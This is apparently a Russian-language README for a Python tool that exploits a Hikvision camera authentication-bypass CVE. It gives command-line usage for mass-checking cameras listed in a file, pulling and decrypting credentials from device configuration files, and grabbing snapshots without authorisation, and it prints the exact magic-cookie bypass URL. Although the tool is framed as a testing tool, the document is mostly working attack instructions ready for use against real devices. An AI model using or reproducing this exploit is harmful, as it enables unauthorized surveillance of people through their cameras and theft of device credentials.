
HikVision Auth Bypass CVE, инструмент способен извлекать учетные данные и делать снимки на основе magic cookie или предоставленных учетных данных.
Автономный инструмент для перечисления камер Hikvision из файла и создания снимка каждой камеры с использованием действительных учетных данных (HTTP Basic или Digest аутентификация) или CVE обхода аутентификации. Предназначен для запуска на другом хосте для тестирования.
host или host:port в строке).--save-snapshot для уязвимых устройств.--exploit для использования CVE обхода без учетных данных).--merge для создания одного общего изображения. Зависимости: requests, Pillow (для --merge).requestspip install -r requirements.txt
Создайте текстовый файл с одной камерой в строке. Комментарии с # игнорируются.
# Пример cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Вывести камеры, прочитанные из файла (учетные данные не требуются).
python hikvision_snapshots.py cameras.txt list
Опциональная проверка доступности (HTTP GET к каждому хосту):
python hikvision_snapshots.py cameras.txt list -v
Проверка каждой камеры на наличие CVE обхода аутентификации снимков Hikvision. Учетные данные не требуются.
python hikvision_snapshots.py cameras.txt check
Сохранить снимки только для уязвимых камер:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Опции: --timeout, --workers, -o (для --save-snapshot).
Извлечение учетных данных из каждой камеры через CVE (магическая аутентификация для получения списка пользователей и файла конфигурации, затем расшифровка конфига). Требуется OpenSSL на хосте. Для запуска учетные данные не нужны.
python hikvision_snapshots.py cameras.txt credentials
Опции: --timeout, --workers.
Проверка, что ваши учетные данные работают на каждой камере (используются те же конечные точки снимков; изображения не сохраняются).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
Опции: --timeout, --workers, --digest (как в snapshot).
Сделать один снимок каждой камеры и сохранить в JPEG. Используйте либо действительные учетные данные, либо --exploit (CVE обход аутентификации, без учетных данных).
# С учетными данными
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# С CVE эксплойтом (без учетных данных)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ по умолчанию (используйте -o для изменения).host или host_port (например, 192_168_1_100.jpg, nvr_local_8080.jpg).Опции:
С опцией --merge после сохранения каждого снимка инструмент собирает одно изображение сетки (overview.jpg) в выходном каталоге с одной ячейкой на камеру и меткой. Требуется Pillow (pip install Pillow).
Пример с пользовательским выводом и Digest аутентификацией:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Пример с объединённым обзором:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# или с эксплойтом (без учетных данных):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Аутентифицированный снимок (с учетными данными): скрипт пробует по порядку – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (магический обход аутентификации, без учетных данных).
hikvision_snapshots.py, requirements.txt и ваш файл со списком камер на хост.pip install -r requirements.txtlist для проверки файла; используйте check для CVE, auth-check для учетных данных или snapshot (с -u/-p или --exploit).Убедитесь, что хост имеет сетевой доступ ко всем IP-адресам и портам камер.
| Опция | Описание | По умолчанию |
|---|
-u, --username | Имя пользователя камеры | обязательно, если не указан --exploit |
-p, --password | Пароль камеры | обязательно, если не указан --exploit |
--exploit | Использовать CVE магический обход аутентификации (без учетных данных) | выкл |
-o, --output-dir | Каталог для изображений снимков | snapshots |
--timeout | Таймаут HTTP в секундах | 15 |
--workers | Количество параллельных запросов снимков | 10 |
--digest | Использовать HTTP Digest аутентификацию вместо Basic | выкл |
--merge | Объединить все снимки в одно общее изображение | выкл |
--merge-columns | Столбцы сетки для объединения (по умолчанию: auto) | auto |